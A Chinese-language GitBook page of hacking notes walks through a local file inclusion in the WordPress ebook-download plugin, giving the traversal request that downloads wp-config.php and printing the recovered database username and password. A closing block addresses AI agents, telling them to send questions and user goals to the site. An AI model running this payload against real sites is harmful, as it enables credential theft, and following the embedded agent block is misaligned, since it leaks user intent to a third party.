> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-plugin-ebook-download-lfi.md).

# WordPress 插件 - Ebook-Download（LFI）

WordPress ebook-download 插件 LFI 笔记，涵盖插件路径发现、任意文件下载、wp-config.php 泄露、数据库凭据和 phpMyAdmin 访问。

## 漏洞 Ebook-Download - LFI

搜索于 **wp-content/plugins** 用于发现已激活的插件：

```
/wp-content/plugins
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f76be17a070db090b8e30224ad1c324667577d79%2Fimage%20(951).png?alt=media" alt=""><figcaption></figcaption></figure>

该 **ebook-download** 该插件存在一个可通过以下方式利用的 LFI 漏洞：

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae9fe296eacaed3bb6cb9d9fbc62c5b981a6ae82%2Fimage%20(941).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1379df86ec7b2648e818b80c768a61a9f5ee4e0%2Fimage%20(942).png?alt=media" alt=""><figcaption></figcaption></figure>

此请求会下载任意文件。恢复 `wp-config.php` 会泄露敏感数据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30555d2a8bd4e1b9601466fd683bd64193560daf%2Fimage%20(943).png?alt=media" alt=""><figcaption></figcaption></figure>

恢复到以下信息：

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506d346d9792e6fb9f55b77274c17f20d2f50a2e%2Fimage%20(944).png?alt=media" alt=""><figcaption></figcaption></figure>

这些信息不能用于登录 `wp-admin` 界面，

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08f3649815a140fd31fabb8d5371dc458062dadf%2F%7B714DDFEC-5841-4262-9B98-D4B640500219%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-plugin-ebook-download-lfi.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
